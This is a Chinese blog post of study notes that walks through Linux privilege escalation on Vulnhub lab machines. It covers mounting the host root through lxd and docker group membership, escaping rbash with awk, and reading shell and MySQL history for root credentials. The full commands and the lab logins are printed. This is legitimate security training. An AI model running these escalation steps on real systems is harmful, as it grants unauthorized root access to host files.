当前位置: 首页 > news >正文

小迪安全v2023学习笔记(一百四十二讲)—— Linux系统权限提升篇VulnhubRbash绕过DockerLXD镜像History泄露

文章目录

  • 权限提升——第一百四十二天
    • Linux系统权限提升篇&Vulnhub&Rbash绕过&Docker&LXD镜像&History泄露
      • 前置知识
        • 什么是LXC、LXD、Rbash?
        • LXD与Docker的区别?
      • Linux系统提权 - 普通用户-LXD容器
      • Linux系统提权 - 普通用户-Docker容器
      • Linux系统提权 - 普通用户-Rbash绕过

权限提升——第一百四十二天

Linux系统权限提升篇&Vulnhub&Rbash绕过&Docker&LXD镜像&History泄露

前置知识

  • 本节课我们所处的位置为:

  • 继续回顾一下Linux的提权手段有:

    1. 内核溢出漏洞提权
    2. suid、sudo、nfs、path、ld_preload、cron、lxd、capability、rbash等
    3. 数据库类型提权
  • 那么本节课主要是关于LXD、Docker以及Rbash提权

什么是LXC、LXD、Rbash?
  • LXC 是 Linux 内核容器技术的用户空间工具,属于 操作系统级虚拟化。它允许在单一 Linux 主机上运行多个隔离的 Linux 系统(容器),共享同一内核。
  • LXD 是 LXC 的 下一代管理工具,基于 LXC 的底层技术,但提供更高级的 API 和命令行工具(lxc 命令)。它通过守护进程(daemon)管理容器,支持快照、实时迁移、资源限制等。
  • rbash 是 受限的 Bash shell,通过限制用户行为增强安全性。它是 Bash 的符号链接(rbash -> bash),但启动时会施加限制,导致某些命令会无法使用。
LXD与Docker的区别?
  • 其实一句话说清楚就是,LXD类似于启动一个新的虚拟机容器,而Docker类似于启动了一个新的进程/应用。

Linux系统提权 - 普通用户-LXD容器

  • 环境复现:https://www.vulnhub.com/entry/ai-web-2,357/
  • 提权条件
    1. 已经获得普通用户Shell
    2. 用户属于lxd组
  • 我们直接来到入口点,直接通过拿到的账号密码SSH登录目标主机:
账号:n0nr00tuser
密码:zxowieoi4sdsadpEClDws1sf

在这里插入图片描述

  • 可以看到这里当前用户在lxd组中,所以拥有创建容器的权限,当然这里也可以用工具去扫
  • 我们在网上随便下载一个体积比较小的容器,然后放到目标主机上,并且通过lxc命令去创建该容器:
  • 下载地址:https://github.com/saghul/lxd-alpine-builder
# 导入这个镜像命名为test容器
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias test
# 初始化这个镜像
lxc init test test -c security.privileged=true

在这里插入图片描述

  • 这里创建成功之后,使用如下命令将根目录挂载到容器的/mnt/root目录下:
lxc config device add test test disk source=/ path=/mnt/root recursive=true
  • 在此之前,我们可以先看看此时能否访问根目录下的root目录:
    在这里插入图片描述

  • 可以看到被拒绝,然后我们使用上述命令之后:

lxc config device add test test disk source=/ path=/mnt/root recursive=true
  • 接着尝试启动容器,并进入该容器尝试访问/root目录:
# 启动test容器
lxc start test
# 获取这个test容器shell
lxc exec test /bin/sh
# 进入之前受限的root目录
cd /mnt/root/root

在这里插入图片描述

  • 那么这也相当于一种提权方式,能够访问到之前访问不到的宿主机目录

Linux系统提权 - 普通用户-Docker容器

  • 环境复现:https://www.vulnhub.com/entry/chill-hack-1,622/
  • 参考文章:VulnHub-Chill-Hack 1 靶场渗透测试 - FreeBuf网络安全行业门户
  • 提权条件
    1. 已经获得普通用户Shell
    2. 用户属于docker组
  • 还是直接来到入口点,通过如下账号密码SSH登录拿到权限:
账号:anurodh
密码:!d0ntKn0wmYp@ssw0rd

在这里插入图片描述

  • 用户在docker组里面,说明我们拥有自建容器的权限,于是尝试构建容器,并挂载根目录:
# docker拉取镜像,将根目录挂载到/mnt目录下
docker run -v /:/mnt -it alpine
# 切换到容器/mnt/root下
cd /mnt/root

在这里插入图片描述

  • 这里能够成功访问宿主机根目录下的文件,和LXD类似,也达到了一种提权的效果

Linux系统提权 - 普通用户-Rbash绕过

  • 环境复现:https://www.vulnhub.com/entry/funbox-rookie,520/
  • 这里主要是讲关于遇到Rbash如何绕过的问题,Rbash是一种限制型的bash,它会禁止用户执行某些操作
  • 来到入口点,我们通过信息收集发现目标开放21端口,尝试ftp匿名登录:
ftp <IP>
ls
get tom.zip

在这里插入图片描述

  • 获取压缩包,密码为iubire,解压缩发现id_rsa文件,这是SSH登录密钥,于是尝试登录拿到Shell:
ssh tom@<IP> -i id_rsa

在这里插入图片描述

  • 比如运行我们上传的脚本文件,他就会提示报错,并且显示rbash的字段:
    在这里插入图片描述

  • 参考文章:rbash逃逸大全-先知社区

  • 这里我们就用最简单的方式去绕过它:

awk 'BEGIN {system("/bin/bash")}'

在这里插入图片描述

  • 再去执行这个文件,就能够成功运行了,之后再去尝试一些提权操作,这里我们可以翻看history找到root用户账号密码,然后通过它进行提权
# 查看执行的历史命令,里面有可能会泄露一些敏感信息
history
# 查看mysql的历史命令
cat /home/tom/.mysql_history

在这里插入图片描述
在这里插入图片描述

http://www.dtcms.com/a/560777.html

相关文章:

  • 驻马店市做网站asp.net网站本机访问慢
  • 河南网站备案所需资料厦门互联网公司排名
  • Vue.js 与 Ajax(axios)深度整合指南
  • 25年05月架构甄选范文“论负载均衡设计”,软考高级,系统架构设计师论文
  • SQL键类型详解:超键到外键全解析
  • vue使用d3实现图片的缩放、拖动、添加/删除标记等功能(完整版前端+后端)
  • 纯前端打造个人成长网站:零后端、零部署、零服务器的实践分享
  • Vue解决开发环境 Ajax 跨域问题
  • 网站注册地查询济南网站建设要多少钱
  • 清控人居建设集团网站简历模板word
  • RDPWD!SM_Connect函数中pRealSMHandle->encryptionLevel的由来
  • Spring数据访问基石:JDBC与事务架构总览
  • 【Hadoop】Hadoop 起源与核心组件解析 —— 大数据时代的分布式基石
  • 【printpdf】date.rs 文件详细解析
  • Pycharm详解:高效Python开发的首选IDE
  • 广州市品牌网站建设公司微网站的特点
  • 影刀RPA完全指南:从零开始掌握智能自动化(1/10)
  • 淄博淘宝网站建设企业管理官网登录入口
  • ES6模板字符串
  • Dart 语法核心 7 讲:变量 + 常量 + 数据类型 + 空安全 + 运算符 + 流程控制 + 函数
  • 【Android】活动的正/异常生命周期和启动模式、标志位详解
  • AI换脸技术安全指南:3条法律红线与合规实践
  • 【2025-11-01】软件供应链安全日报:最新漏洞预警与投毒预警情报汇总
  • 使用thefuck报错ModuleNotFoundError: No module named ‘distutils‘
  • 算法23.0
  • 怎么做免费的网站推广网站正在建设中 html 模板
  • 鸿蒙Flutter三方库适配指南:10.插件测试
  • 购物车高效开发指南:API与Vuex实战
  • 广州网站建设公司哪家好展厅设计制作
  • 【BFS 解决FloodFill 算法】4. 被围绕的区域(medium)